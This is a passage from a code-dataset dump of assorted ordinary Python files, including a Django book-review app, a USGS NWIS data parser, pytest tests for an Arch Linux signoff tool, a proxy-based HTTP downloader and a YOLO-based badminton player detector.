self.config['profiles'][profile]\n\n\nclass Trifacta:\n def __init__(self, config):\n self.config = config\n self.api_config = Configuration(\n host=self.config.active_profile['url'],\n access_token=self.config.active_profile['api_key']\n )\n self.api_config.verify_ssl = False\n self.api_config.debug = True\n self.api_client = ApiClient(configuration=self.api_config)\n","sub_path":"trifacta-dbt/trifacta/trifacta.py","file_name":"trifacta.py","file_ext":"py","file_size_in_byte":929,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"24"} +{"seq_id":"7393144","text":"# Alexandros Gidarakos - https://www.linkedin.com/in/alexandrosgidarakos\n# My solution to MITx 6.00.1x Problem Set 2 Part 1\n\nbalance = 4213\nannualInterestRate = 0.2\nmonthlyPaymentRate = 0.04\ntotalPaid = 0\n\nfor month in range(1, 13):\n print(\"Month: \" + str(month))\n minPayment = balance * monthlyPaymentRate\n print(\"Minimum monthly payment: \" + str(round(minPayment, 2)))\n totalPaid += minPayment\n balance -= minPayment\n balance *= (12 + annualInterestRate) / 12\n print(\"Remaining balance: \" + str(round(balance, 2)))\n\nprint(\"Total paid: \" + str(round(totalPaid, 2)))\nprint(\"Remaining balance: \" + str(round(balance, 2)))\n","sub_path":"problem-set-2/problem-set-2-part-1.py","file_name":"problem-set-2-part-1.py","file_ext":"py","file_size_in_byte":642,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"24"} +{"seq_id":"623169796","text":"#!/usr/bin/env python\n# -*- coding: utf-8 -*-\n\nimport logging\nimport pickle\n\nimport requests\nfrom tqdm import tqdm\n\nimport metadata\n\nHEADERS = {\n 'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.36'\n}\n\ndef fetch_data(url):\n try:\n res = requests.get(url,\n headers=HEADERS,\n timeout=10)\n content_type = res.headers.get('content-type')\n raw = res.content\n return {'content-type': content_type,\n 'byte_body': raw}\n except Exception as e:\n logging.exception(e)\n return None\n\ndef main():\n data = [{'meta': rec,\n 'webdata': fetch_data(rec['url'])}\n for rec in tqdm(metadata.SAMPLES)\n if rec\n ]\n\n with open('test_data.pkl', 'wb') as fhandle:\n pickle.dump(data, fhandle, protocol=2)\n\nmain()\n","sub_path":"tests/generate_test_data.py","file_name":"generate_test_data.py","file_ext":"py","file_size_in_byte":936,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"24"} +{"seq_id":"388525967","text":"from django.shortcuts import render, redirect\nfrom django.core.urlresolvers import reverse\nfrom django.contrib import messages\nfrom .models import AddAuthor, AddBook, AddReview\nfrom ..log_reg.models import User\nfrom django.contrib.sessions.models import Session\n\n# Create your views here.\n\ndef home(request):\n context = {\n \"all_books\": AddBook.objects.all().order_by('-created_at'),\n \"top_books\": AddReview.objects.all().order_by('-created_at')[:3]\n }\n return render(request, 'beltreview/home.html', context)\n\ndef add(request):\n context = {\n 'all_authors': AddAuthor.objects.all()\n }\n return render(request, 'beltreview/add.html', context)\n\ndef submit(request):\n if request.method == \"POST\":\n response = AddReview.objects.validBook(request.POST)\n if response[0] == False:\n for user_messages in response[1]:\n messages.error(request, user_messages)\n request.session['color'] = \"red\"\n return redirect(reverse('books:add'))\n else:\n for user_messages in response[1]:\n messages.success(request, user_messages)\n request.session['color'] = \"green\"\n context = {\n 'curr_book': response[2]\n }\n return render(request, 'beltreview/show.html', context)\n\ndef review(request, id):\n if request.method == \"POST\":\n response = AddReview.objects.validReview(request.POST)\n if response[0] == False:\n for user_messages in response[1]:\n messages.error(request, user_messages)\n request.session['color'] = \"red\"\n return redirect(reverse('books:details', kwargs={'id':id}))\n else:\n for user_messages in response[1]:\n messages.success(request, user_messages)\n request.session['color'] = \"green\"\n context = {\n \"new_review\": response[2]\n }\n return redirect(reverse('books:details', kwargs={'id':id}))\n\ndef details(request, id):\n context = {\n \"users_id\": User.objects.filter(id=id),\n \"recent_reviews\": AddReview.objects.filter(id=id),\n \"all_reviews\": AddReview.objects.filter(review_to_books__id=id).order_by('-created_at')\n }\n return render(request, 'beltreview/details.html', context)\n\ndef deleteReview(request, id):\n AddReview.objects.filter(id=id).delete()\n return redirect(reverse('books:home', kwargs = {'id':id}))\n\ndef delete(request):\n AddAuthor.objects.all().delete()\n AddBook.objects.all().delete()\n AddReview.objects.all().delete()\n return redirect('books:add')\n","sub_path":"Python_Stack/Django/belt_reviewer/apps/beltreview/views.py","file_name":"views.py","file_ext":"py","file_size_in_byte":2651,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"24"} +{"seq_id":"111519184","text":"# chap07 구현 - 럭키 스트레이트\n# Solved Date: 22.01.15.\n# https://www.acmicpc.net/problem/18406\nimport sys\n\nread = sys.stdin.readline\n\n\n# 현재 채점 방식으로는 속도가 같음\n# https://www.acmicpc.net/source/25881239 참고\ndef fast_solve(score):\n left_sum, right_sum = 0, 0\n half_len = len(score) // 2\n\n for index in range(half_len):\n left_sum += score[index]\n\n for index in range(half_len, len(score)):\n right_sum += score[index]\n\n if left_sum == right_sum:\n return \"LUCKY\"\n return \"READY\"\n\n\ndef solve(score):\n half_len = len(score) // 2\n if sum(score[:half_len]) == sum(score[half_len:]):\n return \"LUCKY\"\n return \"READY\"\n\n\nif __name__ == '__main__':\n score = [int(x) for x in read().rstrip()]\n print(fast_solve(score))\n","sub_path":"ItIsCodingTest/chap12/07.lucky_straight.py","file_name":"07.lucky_straight.py","file_ext":"py","file_size_in_byte":803,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"24"} +{"seq_id":"219918916","text":"'''\nCreated on Sep 18, 2014\n\n@author: crank\n'''\nimport re\nfrom utils.flowdata import Format\nfrom utils.parser import Parser, ParseError\n\nclass NWISFormat(Format):\n '''\n Format for NWIS data \n \n Attributes:\n pname parameter name\n plen parameter length\n ptype datatype of the parameter \n '''\n def __init__(self, pname, plen, ptype):\n #Format.__init__(self)\n '''\n The fixed parameters we care about are:\n timestamp (datetime)\n station ID (site_no)\n \n The variable parameters we care about are:\n water temp (00010)\n discharge (00060)\n gauge height (00065)\n \n We will use the column names defined in the\n Format class for these parameters. Any other\n columns we have to account for in the parse,\n but we're gonna ignore the data so we'll just\n use whatever column name is provided\n '''\n if pname == \"site_no\":\n self.pname = Format.STATION\n elif pname == \"datetime\":\n self.pname = Format.TSTAMP\n elif re.compile(\"\\d\\d_00010$\").match(pname):\n self.pname = Format.TEMP\n elif re.compile(\"\\d\\d_00060$\").match(pname):\n self.pname = Format.FLOW\n elif re.compile(\"\\d\\d_00065$\").match(pname):\n self.pname = Format.GAUGE\n else:\n self.pname = pname\n \n # set the parameter type and length\n if ptype == \"s\": \n self.ptype = Format.STRING\n elif ptype == \"n\": \n self.ptype = Format.NUMBER\n elif ptype == \"d\": \n self.ptype = Format.DATETIME\n else: \n self.ptype = Format.UNKNOWN\n\n self.plen = plen\n\nclass NWISParser(Parser):\n '''\n Parser to handle an NWIS datasource.\n \n NWIS files are tab separated and have a mixed format, a fixed \n preamble followed by a variable number of parameters (columns)\n that can be retrieved from the station.\n \n See http://help.waterdata.usgs.gov/faq/about-tab-delimited-output\n for the gory details, but in general:\n \n The file starts with 0 or more lines with a leading '#', these\n are comments which we can freely skip.\n \n After the comments there are two rows that describe the layout \n of the data in the file; the first is a column header row with\n the name of each parameter being retrieved and the second row\n is the column descriptor containing size and type information.\n \n The first column in an NWIS sourced file is always 'agency_cd',\n once we find that we can crack the format.\n '''\n def __init__(self, data_src_url):\n ''' Create a parser for extracting data from an NWIS datasource.'''\n # Have the base class open up the URL to set up datasource access\n Parser.__init__(self, data_src_url)\n # Reset the split token to tab\n self.splitter = \"\\t\"\n \n for row in self.data_src:\n row.rstrip('\\r\\n')\n if row.startswith(self.skip_token): continue\n elif row.startswith(\"agency_cd\"):\n # grab the column header row and chop it up\n # into separate fields\n headers = row.split(self.splitter)\n # grab the next row (column descriptors) and \n # chop it up as well\n descr = self.data_src.next().split(self.splitter)\n \n if len(headers) != len(descr):\n raise ParseError(\"Column header and descriptors are of different size.\")\n for hdr, des in zip(headers,descr):\n # extract the format for each column and\n # stick it in the row format for the parser\n col_fmt = NWISFormat(hdr,\n des[0:len(des)-1],\n des[len(des)-1])\n self.row_format.append(col_fmt)\n \n break # done with rows\n else:\n # Hmmmm, unexpected line in the header section...\n raise ParseError(\"Unexpected line: \" + row)","sub_path":"src/utils/nwisparser.py","file_name":"nwisparser.py","file_ext":"py","file_size_in_byte":4204,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"24"} +{"seq_id":"649768202","text":"from click.testing import CliRunner\n\nimport pytest\n\nfrom signoff import main as entrypoint, SignoffSession\n\nrunner = CliRunner()\n\nSTANDARD_ARGS = [\"--username\", \"test\", \"--password\", \"test\"]\n\n\n@pytest.fixture\ndef mock_get_signoffs_empty(monkeypatch):\n def mock_get_signoffs_empty(*args, **kwargs):\n return []\n\n monkeypatch.setattr(SignoffSession, \"get_signoffs\", mock_get_signoffs_empty)\n\n\n@pytest.fixture\ndef mock_signoff_package(monkeypatch):\n def mock_signoff_package(*args, **kwargs):\n return\n\n monkeypatch.setattr(SignoffSession, \"signoff_package\", mock_signoff_package)\n\n\n@pytest.fixture\ndef mock_revoke_package(monkeypatch):\n def mock_revoke_package(*args, **kwargs):\n return\n\n monkeypatch.setattr(SignoffSession, \"revoke_package\", mock_revoke_package)\n\n\n@pytest.fixture\ndef mock_get_signoffs(monkeypatch):\n def mock_get_signoffs(*args, **kwargs):\n return [\n {\n \"arch\": \"x86_64\",\n \"last_update\": \"2021-04-12T01:00:22.740Z\",\n \"maintainers\": [\"maintainer\"],\n \"packager\": \"packager\",\n \"pkgbase\": \"linux\",\n \"repo\": \"Testing\",\n \"signoffs\": [],\n \"target_repo\": \"Core\",\n \"version\": \"5.5.3.arch1-1\",\n \"pkgnames\": [\"linux\"],\n \"package_count\": 1,\n \"approved\": False,\n \"required\": 2,\n \"enabled\": True,\n \"known_bad\": False,\n \"comments\": \"new release\"\n }\n ]\n\n monkeypatch.setattr(SignoffSession, \"get_signoffs\", mock_get_signoffs)\n\n\n@pytest.fixture\ndef mock_login(monkeypatch):\n def mock_login(*args, **kwargs):\n return None\n\n monkeypatch.setattr(SignoffSession, \"_login\", mock_login)\n\n\n@pytest.fixture(scope=\"session\")\ndef empty_localdb(generate_localdb):\n '''Returns the location to the local db'''\n\n return generate_localdb([])\n\n\n@pytest.fixture(scope=\"session\")\ndef localdb(generate_localdb):\n '''Returns the location to the local db'''\n\n data = [{\n \"name\": \"linux\",\n \"base\": \"linux\",\n \"arch\": \"x86_64\",\n \"csize\": \"2483776\",\n \"version\": \"5.5.3.arch1-1\",\n \"builddate\": \"1573556456\",\n \"desc\": \"The linux kernel and modules\",\n \"url\": \"https://kernel.org\",\n \"license\": \"GPL2\",\n \"packager\": \"Arch Dev \",\n \"conflicts\": [],\n \"replaces\": [],\n \"depends\": [\"coreutils\"],\n \"makedepends\": [\"bc\"],\n \"optdepends\": [\"vim\"]\n }]\n return generate_localdb(data)\n\n\ndef test_no_db():\n result = runner.invoke(entrypoint, STANDARD_ARGS + ['--list'])\n assert result.exit_code == 2\n\n\ndef test_list(mock_login, mock_get_signoffs, localdb):\n '''List to be signed off packages'''\n\n result = runner.invoke(entrypoint, STANDARD_ARGS + ['--list', '--db-path', localdb])\n assert result.exit_code == 0\n assert 'linux' in result.output\n\n\ndef test_list_empty_localdb(mock_login, mock_get_signoffs, empty_localdb):\n '''The local db is empty, signoffs contain linux'''\n\n result = runner.invoke(entrypoint, STANDARD_ARGS + ['--list', '--db-path', empty_localdb])\n assert result.exit_code == 0\n assert result.output == ''\n\n\ndef test_list_empty_signoffs(mock_login, mock_get_signoffs_empty, localdb):\n '''The local db contains linux, signoffs are empty'''\n\n result = runner.invoke(entrypoint, STANDARD_ARGS + ['--list', '--db-path', localdb])\n assert result.exit_code == 0\n assert result.output == ''\n\n\ndef test_signoff(mock_login, mock_get_signoffs, mock_signoff_package, localdb):\n '''Signoff the Linux package'''\n\n result = runner.invoke(entrypoint, STANDARD_ARGS + ['--signoff', 'linux', '--noconfirm', '--db-path', localdb])\n assert result.exit_code == 0\n assert result.output == 'Signed off linux.\\n'\n\n\ndef test_signoff_non_existant_package(mock_login, mock_get_signoffs, mock_signoff_package, empty_localdb):\n '''Signoff a non-existant package'''\n\n result = runner.invoke(entrypoint, STANDARD_ARGS + ['--signoff', 'linux', '--noconfirm', '--db-path', empty_localdb])\n assert result.exit_code == 2\n assert 'Error: linux package not installed' in result.output\n\n\ndef test_revoke_non_existant_package(mock_login, mock_get_signoffs, mock_revoke_package, empty_localdb):\n '''Revoke non-existant package'''\n\n result = runner.invoke(entrypoint, STANDARD_ARGS + ['--revoke', 'linux', '--noconfirm', '--db-path', empty_localdb])\n assert result.exit_code == 2\n assert 'Error: linux package not installed' in result.output\n\n\ndef test_revoke(mock_login, mock_get_signoffs, mock_revoke_package, localdb):\n '''Revoke non-existant package'''\n\n result = runner.invoke(entrypoint, STANDARD_ARGS + ['--revoke', 'linux', '--noconfirm', '--db-path', localdb])\n assert result.exit_code == 0\n assert result.output == 'Revoked sign-off for linux.\\n'\n","sub_path":"test/test_cli.py","file_name":"test_cli.py","file_ext":"py","file_size_in_byte":4964,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"24"} +{"seq_id":"158064813","text":"PADDING = 5\nMARGIN = 3\n\n\nGREY = (0.95, 0.95, 0.95, 1) # Ad Hoc Grey\nLIGHT_YELLOW = (1, 1, 0.97, 1) # Ad Hoc Light Yellow\nRED = (1, 0.5, 0.5, 1) # ad hoc; fine-tune please\nPINK = (1, 0.95, 0.95, 1) # ad hoc; fine-tune please\nDARK_GREY = (0.5, 0.5, 0.5, 1) # ad hoc; fine-tune please\n\n\nfont_size = 14\n\n\ndef get_font_size():\n return font_size\n\n\ndef set_font_size(fs):\n global font_size\n font_size = fs\n","sub_path":"widgets/layout_constants.py","file_name":"layout_constants.py","file_ext":"py","file_size_in_byte":413,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"24"} +{"seq_id":"74937506","text":"import json\nfrom datetime import date, datetime\nfrom os import system\n\nfrom data_types import (\n config,\n convert,\n folder,\n media,\n process,\n reminder,\n status,\n website,\n)\nfrom file_operation import File\n\ntry:\n from bs4 import BeautifulSoup\nexcept Exception:\n print(\"please wait, installing missing modules\")\n system(\"pip install bs4\")\n from bs4 import BeautifulSoup\ntry:\n from requests.api import get\nexcept Exception:\n print(\"please wait, installing missing modules\")\n system(\"pip install requests\")\n from requests.api import get\n\n\n__name__ = \"__operations__\"\n\n\ndef write_log(data_list: list) -> None:\n \"\"\"\n Write the log to the file\n \"\"\"\n file_data = File(file_location=\"Data/log.json\").read_data()\n if file_data == None:\n file_data = []\n for item in data_list:\n if item == \"\":\n continue\n file_data.append(item.to_string())\n with open(\"Data/log.json\", \"w\") as file:\n json.dump(file_data, file)\n\n\ndef is_input_kill(data: str) -> bool:\n \"\"\"\n Return True if data is 'kill',\n False otherwise\n \"\"\"\n return data in [\"kill\"]\n\n\ndef clear_screen() -> None:\n \"\"\"\n The CLI screen\n \"\"\"\n system(\"cls\")\n\n\ndef clear_clip() -> None:\n \"\"\"\n Clear last pasted item in clipboard\n \"\"\"\n system(f\"echo.|clip\")\n\n\ndef print_list_items(file_list: list) -> None:\n \"\"\"\n print all items in the list\n \"\"\"\n for file_name in file_list:\n print(file_name)\n\n\ndef remove_char_from_string(string: str, character: str) -> str:\n \"\"\"\n return a new string without the specified character\n \"\"\"\n string_list = list(string)\n string_list.remove(character)\n return \"\".join(string_list)\n\n\ndef add_character(string: str, character_1: str, character_2: str) -> str:\n \"\"\"\n Add character_2 after the first character_1\n \"\"\"\n string_list = list(string)\n index = string_list.index(character_1) + 1\n new_list = string_list[:index] + [character_2] + string_list[index:]\n return \"\".join(new_list)\n\n\ndef complete_website(site: str) -> str:\n \"\"\"\n checks if site contains 'http://' or 'https://', if not\n adds it return the site\n \"\"\"\n if not (site.__contains__(\"https://\") or site.__contains__(\"http://\")):\n site = \"http://\" + site\n return site\n\n\ndef is_null_string(string: str) -> bool:\n \"\"\"\n Check if string is null and return bool accordingly\n \"\"\"\n return string == \"\"\n\n\ndef is_connected() -> bool:\n \"\"\"\n Check if system is connected internet and return in boolean\n \"\"\"\n url = \"http://www.google.com/\"\n timeout = 5\n try:\n _ = get(url, timeout=timeout)\n return True\n except Exception:\n return False\n\n\ndef internet_connection() -> None:\n \"\"\"\n Check if internet connection is avillable and show \n corresponding message, if internet connection is available or not\n \"\"\"\n if is_connected():\n print(\"Internet connection is available\")\n else:\n print(\"No Internet Connection\")\n\n\ndef get_date_time() -> datetime:\n \"\"\"\n return the current date\n \"\"\"\n # get date time in 05-Mar-2020 02:01:30 PM format\n return datetime.now().strftime(\"%d-%b-%Y %I:%M:%S %p\")\n\n\ndef show_date_time() -> None:\n \"\"\"\n Show current date and time\n \"\"\"\n print(get_date_time())\n\n\n\ndef get_date() -> date:\n \"\"\"\n return the current date\n \"\"\"\n # get date in 01-Jan-2020 format\n return date.today().strftime(\"%d-%b-%Y\")\n\n\ndef is_a_website(site: str) -> bool:\n \"\"\"\n Check if given is a valid website by checking the presents of\n domains like \".com\",\".net\" return boolean\n \"\"\"\n if (\n site.__contains__(\".com\")\n or site.__contains__(\".net\")\n or site.__contains__(\".org\")\n or site.__contains__(\".in\")\n or site.__contains__(\".co.in\")\n or site.__contains__(\"net\")\n ):\n return True\n return False\n\n\ndef minutes_to_day_hour_min(time: int):\n \"\"\"\n Convert minutes to DAy HOUR MINUT format\n eg:\n 100 minutes -> 0 days, 1 hours, 40 mins\n \"\"\"\n days = 0\n hours = 0\n mins = 0\n days = time // 1440\n leftover_minutes = time % 1440\n hours = leftover_minutes // 60\n mins = time - (days * 1440) - (hours * 60)\n return str(days) + \" days, \" + str(hours) + \" hours, \" + str(mins) + \" mins. \"\n\n\ndef get_duration_of_movie(movie_name: str, movie_category: str) -> int:\n \"\"\"\n Get duration of a movie, if unable to find returns zero\n \"\"\"\n duration_in_min = 0\n try:\n print(\"Fetching data, please wait\")\n if movie_name == \"\" and movie_category == \"\":\n return 0\n page_data = get(\n f\"https://www.google.com/search?q={movie_name}+{movie_category}+movie+duration\"\n )\n soup = BeautifulSoup(page_data.content, features=\"html.parser\")\n duration_data = soup.find(\"div\", attrs={\"class\": \"BNeawe tAd8D AP7Wnd\"}).text\n duration_str_form = duration_data.split(\"‧\")[\n 2\n ] ##Gives the duration of the movie\n duration_split = duration_str_form.split(\" \")\n for item in duration_split:\n if item in [\"\", \" \"]:\n continue\n elif item.__contains__(\"h\"):\n duration_in_min += int(\"\".join(list(item)[:-1:])) * 60\n elif item.__contains__(\"m\"):\n duration_in_min += int(\"\".join(list(item)[:-1:]))\n except Exception:\n print(\"error found\")\n duration_in_min = 0\n finally:\n print(duration_in_min)\n return duration_in_min\n\n\nclass duplicate:\n \"\"\"\n to check if a keyword or file already exists\n and also covert a list strings to their original datatype\n like folder, process, website\n \"\"\"\n\n def __init__(self, data_list: list, data_type: str) -> None:\n self.__data_list = self.__convert(data_list=data_list, data_type=data_type)\n\n def get_converted_list(self) -> list:\n \"\"\"\n get converted data list\n \"\"\"\n return self.__data_list\n\n def __string_to_folder(self, data_list: list) -> [folder]:\n \"\"\"\n convert all data in data_list to folder datatype and return as list\n \"\"\"\n folder_list = []\n for item in data_list:\n folder_list.append(convert(file_data=item).to_folder())\n return folder_list\n\n def __string_to_website(self, data_list: list) -> [website]:\n \"\"\"\n convert all data in data_list to website datatype and return as list\n \"\"\"\n website_list = []\n for item in data_list:\n website_list.append(convert(file_data=item).to_website())\n return website_list\n\n def __string_to_process(self, data_list: list) -> [process]:\n \"\"\"\n convert all data in data_list to process datatype and return as list\n \"\"\"\n process_list = []\n for item in data_list:\n process_list.append(convert(file_data=item).to_process())\n return process_list\n\n def __string_to_reminder(self, data_list: list) -> [reminder]:\n \"\"\"\n convert all data in data_list to reminder datatype and return as list\n \"\"\"\n reminder_list = []\n for item in data_list:\n reminder_list.append(convert(file_data=item).to_reminder())\n return reminder_list\n\n def __string_to_media(self, data_list: list) -> [media]:\n \"\"\"\n convert all data in data_list to media datatype and return as list\n \"\"\"\n media_list = []\n for item in data_list:\n media_list.append(convert(file_data=item).to_media())\n return media_list\n\n def __convert(self, data_type, data_list: list) -> []:\n \"\"\"\n Convert all data in list into specified dataype and return as list\n \"\"\"\n if data_type == \"process\":\n return self.__string_to_process(data_list=data_list)\n elif data_type == \"folder\":\n return self.__string_to_folder(data_list=data_list)\n elif data_type == \"website\":\n return self.__string_to_website(data_list=data_list)\n elif data_type == \"reminder\":\n return self.__string_to_reminder(data_list=data_list)\n elif data_type == \"media\":\n return self.__string_to_media(data_list=data_list)\n\n def is_keyword_exist(self, keyword_list: list) -> bool:\n \"\"\"\n Check if 'keyword' is already being used as fast access \n keyword in in the given list of files\n \"\"\"\n\n try:\n for item in self.__data_list:\n codes = item.get_codes()\n for keyword in keyword_list:\n if keyword in codes:\n return True\n return False\n except Exception as e:\n print(f\"operation > is_keyword_exist - {e}\")\n\n def is_file_exists(self, location: str) -> bool:\n \"\"\"\n Check if the file/site/process with given location/address \n aleady exists\n \"\"\"\n try:\n for item in self.__data_list:\n if item.is_same(location=location):\n return True\n return False\n except Exception as e:\n print(f\"operation > is_file_exists - {e}\")\n\n\nclass change_status:\n \"\"\"\n pre-defined commands to change read and change status data\n \"\"\"\n\n def __init__(self) -> None:\n self.__status_file_path = \"Data/status.json\"\n self.__status_file = File(file_location=self.__status_file_path)\n\n def __get_status(self) -> status:\n \"\"\"\n Return the current status data\n \"\"\"\n return convert(file_data=self.__status_file.read_data()[0]).to_status()\n\n def __write_status_to_file(self, current_status: status) -> None:\n \"\"\"\n write the changed new status to file\n \"\"\"\n self.__status_file.rewrite_entire_data(file_data=[current_status])\n\n def show_status(self) -> None:\n \"\"\"\n Show current status\n \"\"\"\n self.__get_status().show()\n\n\nif __name__ == \"__operations__\":\n pass\n","sub_path":"Version 3/operations.py","file_name":"operations.py","file_ext":"py","file_size_in_byte":10058,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"24"} +{"seq_id":"424542430","text":"# coding: utf-8\nfrom urllib.parse import urlparse\n\nimport requests\nimport thriftpy\nfrom thriftpy.rpc import make_client\n\ng_headers = {\n 'User-Agent': 'Mozilla/5.0 (Macintosh; Intel Mac OS X 10_11_2) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/47.0.2526.80 Safari/537.36',\n}\n\nclass Handler:\n def __init__(self, conf):\n self._conf = conf\n self._proxyClinet = None\n\n def _getProxyClient(self):\n if not self._proxyClinet:\n _thrift = thriftpy.load(conf['thrift'], module_name=conf['module_name'] + '_thrift')\n client = make_client(_thrift.Proxy, conf['server']['host'], conf['server']['port']) # 是保持长连接还是,还是每次重新连接\n self._proxyClinet = client\n\n return self._proxyClinet\n\n def _getProxy(self, scheme, domain):\n # 给域名返回未使用过的代理\n client = self._getProxyClient()\n proxy = client.get(scheme, 1)\n if proxy:\n return proxy[0]\n\n def getData(self, url, params, post_data, headers, use_proxy):\n proxies = None\n resp = None\n ret = []\n headers = headers.update(g_headers) if headers else g_headers\n if use_proxy: \n o = urlparse(url)\n if not o.scheme:\n scheme, domain = 'http', o.path\n else:\n scheme, domain = o.scheme, o.netloc\n proxy = self._getProxy(scheme, domain) # 没返回代理\n if proxy:\n proxies = {'http': proxy, 'https': proxy}\n try:\n if post_data:\n resp = requests.post(url, params=params, data=post_data, headers=headers, proxies=proxies, timeout=self._conf['timeout'])\n else:\n resp = requests.get(url, params=params, headers=headers, proxies=proxies, timeout=self._conf['timeout'])\n if resp:\n content = {'ret_content': resp.content, }\n headers = resp.headers\n ret.append(content)\n ret.append(headers)\n except Exception as e:\n error = {'error': str(e)}\n ret.append(error)\n return ret","sub_path":"src/downloader/lib/mjz_downloader/handler.py","file_name":"handler.py","file_ext":"py","file_size_in_byte":2154,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"24"} +{"seq_id":"64952932","text":"from Badminton.utilities.utils import *\nfrom Badminton.utilities.datasets import *\nfrom Badminton.utilities.parse_config import *\nfrom Badminton.utilities.models import *\n\nimport os, sys, time, datetime, random\nimport torch\nfrom torch.utils.data import DataLoader\nfrom torchvision import datasets, transforms\nfrom torch.autograd import Variable\n\nimport matplotlib.pyplot as plt\nimport matplotlib.patches as patches\nfrom PIL import Image\nimport cv2\n\nclass Detector:\n\tdef __init__(self, config_folder = \"Badminton/config\",config_path='Badminton/config/yolov3.cfg', weights_path='Badminton/config/yolov3.weights', class_path='Badminton/config/coco.names',img_size=416,conf_thres=0.8,nms_thres=0.4,tiny=False):\n\t\tself.config_path = config_path\n\t\tself.weights_path = weights_path\n\t\tself.class_path = class_path\n\t\tself.img_size = img_size\n\t\tself.conf_thres = conf_thres\n\t\tself.nms_thres = nms_thres\n\t\tself.config_folder = config_folder\n\t\tself.tiny = tiny\n\n\tdef detect_image(self,model,img,PIL_image_flag = True):\n\n\t\tif PIL_image_flag == False:\n\t\t\t# You may need to convert the color.\n\t\t\timg = cv2.cvtColor(img, cv2.COLOR_BGR2RGB)\n\t\t\timg = Image.fromarray(img)\n\t\tself.img = img\n\n\t\t# scale and pad image\n\t\tratio = min(self.img_size/self.img.size[0], self.img_size/self.img.size[1])\n\t\timw = round(self.img.size[0] * ratio)\n\t\timh = round(self.img.size[1] * ratio)\n\t\timg_transforms = transforms.Compose([ transforms.Resize((imh, imw)),\n\t\t\t transforms.Pad((max(int((imh-imw)/2),0), max(int((imw-imh)/2),0), max(int((imh-imw)/2),0), max(int((imw-imh)/2),0)),\n\t\t\t\t\t\t\t(128,128,128)),\n\t\t\t transforms.ToTensor(),\n\t\t\t ])\n\t\t# convert image to Tensor\n\t\timage_tensor = img_transforms(self.img).float()\n\t\timage_tensor = image_tensor.unsqueeze_(0)\n\t\t# Tensor = torch.cuda.FloatTensor\n\n\t\tif torch.cuda.is_available():\n\t\t\tTensor = torch.cuda.FloatTensor\n\t\t\tmodel.cuda()\n\t\telse:\n\t\t\tTensor = torch.FloatTensor\n\t\tinput_img = Variable(image_tensor.type(Tensor))\n\t\t# run inference on the model and get detections\n\t\twith torch.no_grad():\n\t\t\tdetections = model(input_img)\n\t\t\tdetections = non_max_suppression(detections, 80, self.conf_thres, self.nms_thres)\n\t\treturn detections[0]\n\n\tdef load_classes(self,path):\n\t\t\"\"\"\n\t\tLoads class labels at 'path'\n\t\t\"\"\"\n\t\tfp = open(path, \"r\")\n\t\tnames = fp.read().split(\"\\n\")[:-1]\n\t\treturn names\n\n\tdef detect_players_image(self,img_src,display_detection = True,ret_img=False):\n\n\t\tif self.tiny == True:\n\t\t\tself.weights_path = 'Badminton/config/yolov3-tiny.weights'\n\t\t\tself.config_path = 'Badminton/config/yolov3-tiny.cfg'\n\t\t# Load model and weights\n\t\tisFile = os.path.isfile(self.weights_path)\n\t\tif isFile == False:\n\t\t\tos.chdir(self.config_folder)\n\t\t\tprint(\"Downloading the weights\")\n\t\t\ttry:\n\t\t\t\tif self.tiny == False:\n\t\t\t\t\tos.system(\"bash download_weights.sh\")\n\t\t\t\telse:\n\t\t\t\t\tos.system(\"bash download_tiny_weights.sh\")\n\t\t\texcept:\n\t\t\t\traise Exception(\"Not able to download the weights\")\n\t\t\tos.chdir(\"../../\")\n\t\tmodel = Darknet(self.config_path, img_size=self.img_size)\n\t\tmodel.load_weights(self.weights_path)\n\t\tif torch.cuda.is_available():\n\t\t\tmodel.cuda()\n\t\t\tTensor = torch.cuda.FloatTensor\n\t\telse:\n\t\t\tTensor = torch.FloatTensor\n\t\tmodel.eval()\n\n\t\tclasses = self.load_classes(self.class_path)\n\t\t# Tensor = torch.cuda.FloatTensor\n\t\tself.img_src = img_src\n\t\tprev_time = time.time()\n\n\t\tprev_time = time.time()\n\n\t\tif type(img_src) == str : #if input is image path\n\t\t\timg = Image.open(self.img_src)\n\t\telif type(img_src) == np.ndarray : #if input is image array\n\t\t\timg = Image.fromarray(self.img_src)\n\n\t\tdetections = self.detect_image(model,img)\n\t\tinference_time = datetime.timedelta(seconds=time.time() - prev_time)\n\t\timg = np.array(img)\n\t\tout_img = img.copy()\n\n\t\tif display_detection == True:\n\t\t\t# Get bounding-box colors\n\t\t\tcmap = plt.get_cmap('tab20b')\n\t\t\tcolors = [cmap(i) for i in np.linspace(0, 1, 20)]\n\t\t\tplt.figure()\n\t\t\tfig, ax = plt.subplots(1, figsize=(12,9))\n\t\t\tax.imshow(img)\n\n\t\tpad_x = max(img.shape[0] - img.shape[1], 0) * (self.img_size / max(img.shape))\n\t\tpad_y = max(img.shape[1] - img.shape[0], 0) * (self.img_size / max(img.shape))\n\t\tunpad_h = self.img_size - pad_y\n\t\tunpad_w = self.img_size - pad_x\n\n\t\tflag = 0\n\n\t\tobject_names = ['person']\n\t\tcoordinate=[]\n\t\tif detections is not None and len(detections) < 4:\n\t\t\tunique_labels = detections[:, -1].cpu().unique()\n\t\t\tn_cls_preds = len(unique_labels)\n\t\t\t# browse detections and draw bounding boxes\n\t\t\tfor x1, y1, x2, y2, conf, cls_conf, cls_pred in detections:\n\t\t\t\tif classes[int(cls_pred)] in object_names:\n\t\t\t\t\tbox_h = ((y2 - y1) / unpad_h) * img.shape[0]\n\t\t\t\t\tbox_w = ((x2 - x1) / unpad_w) * img.shape[1]\n\t\t\t\t\ty1 = ((y1 - pad_y // 2) / unpad_h) * img.shape[0]\n\t\t\t\t\tx1 = ((x1 - pad_x // 2) / unpad_w) * 